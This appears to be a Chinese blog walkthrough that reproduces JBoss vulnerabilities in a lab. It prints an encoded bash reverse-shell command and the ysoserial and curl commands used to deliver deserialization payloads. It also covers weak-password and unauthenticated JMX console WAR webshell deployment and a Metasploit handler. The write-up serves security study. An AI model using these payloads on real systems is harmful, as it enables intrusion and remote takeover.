Loading

JBoss漏洞复现

0x01:JBoss安装

下载地址:https://jbossas.jboss.org/downloads/

1. 安装java环境

JDK版本应当在1.6-1.7之间,1.8版本jboss运行jmx console会出现500错误

image-20210817162621096

2. 安装Jboss

新建环境变量

JBOSS_HOME 值为 C:\jboss-6.1.0.Final

image-20210817163702947

在path中加入

%JBOSS_HOME%\bin

image-20210817163808038

双击run.bat

image-20210817163843820

出现indo信息说明安装成功

image-20210817163947591

我们访问8080端口

image-20210817164446063

3. 注意点

JBoss默认部署的路径为

C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

如果需要向外网开放,我们修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件

image-20210817165206161

然后重新运行run.bat

0x02:JBOSS5.x/6.x反序列化漏洞(CVE-2017-12149)

1. 漏洞原理

​ 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

2. 影响版本

Jboss5.x/6.x

3. 漏洞复现

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,访问/invoker/readonly目录,返回500即存在漏洞

image-20210817170153692

我们用常规Java反序列化漏洞测试方法来复现该漏洞。我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

image-20210817171423970

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

生成poc.ser文件,这个就是我们的exp。

image-20210817172755152

nc启动监听。然后我们发送exp

image-20210817172900229

成功收到shell

image-20210817172920306

0x03:JBoss JMXInvokerServle反序列化漏洞(CVE-2015-7501)

1. 漏洞原理

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

2. 影响版本

image-20210817175001611

3. 漏洞复现

​ JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

访问 /invoker/JMXInvokerServlet,返回如下说明存在漏洞

image-20210817175315898

我们利用上面漏洞生成的exp。发送到/invoker/JMXInvokerServlet接口

curl http://192.168.88.133:8080/invoker/JMXInvokerServlet --data-binary @poc.ser

image-20210817175539911

反弹回shell

image-20210817175551397

0x04:JBOSSMQ JMS反序列化漏洞(CVE-2017-7504)

1. 漏洞原理

​ Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invoca Layer的HTTPServerLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

2. 影响版本

JBoss 4.x以及之前的所有版本

3. 漏洞复现

访问/jbossmq-httpil/HTTPServerILServlet

image-20210817180428513

还是利用前面生成的exp,发送到/jbossmq-httpil/HTTPServerILServlet接口。

curl http://192.168.88.133:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

image-20210817180637900

反弹回shell

image-20210817180654683

0x05:JBOSS EJBInvokerServlet反序列化漏洞(CVE-2013-4810)

http://x.x.x.x:8080/invoker/EJBInvokerServle

image-20210817180903375

0x06:Administratot Console弱口令

Administrator Console管理员面存在弱口令,admin/admin,登录后台上传war包。

image-20210817195054603

跳转到后台

image-20210817195131251

密码admin/admin。登录

image-20210817200414088

点击Add a new source,然后点击浏览上传war包。冰蝎成功连接。

image-20210817201038657

修改密码在

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

image-20210817201549496

0x07:低版本JMX Concole未授权访问

1. 漏洞原理

在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

jboss 4.x及其之前版本ocnsole管理路径为/jmx-console/和/web-console/

jmx-console的配置文件为:

C:\jboss-4.2.3.GA\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml

web-console的配置文件为:

C:\jboss-4.2.3.GA\server\default\deploy\management\console-mgr.sar\web-console.war\WEB-INF\jboss-web.xml

jmx-console和web-console共用一个账号密码

C:\jboss-4.2.3.GA\server\default\conf\props\jmx-console-users.properties

2. 漏洞复现

这里用的4.2.3版本

image-20210818163956304

点击jmx console

image-20210818164035334

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

image-20210818164213616

然后我们在下面的地方添加我们vps上面war包的地址

image-20210818165939538

然后点击invoke,出现下面也面说明成功上传

然后我们回到jmx-console页面。成功上传shell。

image-20210818172811718

路径如下

image-20210818172846189

我们利用冰蝎连接

image-20210818174335021

0x08:高版本JMX Console未授权访问

这里借助JMXInvokerServlet-deserialization的vulhub环境

点击JMX Console

image-20210818175155370

进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer

image-20210818175500587

进入页面后找到deploy填写远程war地址进行远程部署。

image-20210818175747118

成功部署

image-20210818175912467

我们可以在这个地方看到我们上传的shell

image-20210818180044339

冰蝎连接即可。

0x09:自动化工具

http://192.168.88.133:8080/

image-20210818181435620

反弹shell

image-20210818181927240

image-20210818182003579

联动metasploit

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.133
msf6 exploit(multi/handler) > set lport 7654
msf6 exploit(multi/handler) > exploit -j

然后执行

image-20210818182701857

拿到meterpreter shell,但是一会就断开了。

image-20210818182921170

posted @ 2021-12-30 13:21  Hel10  阅读(635)  评论(0编辑  收藏  举报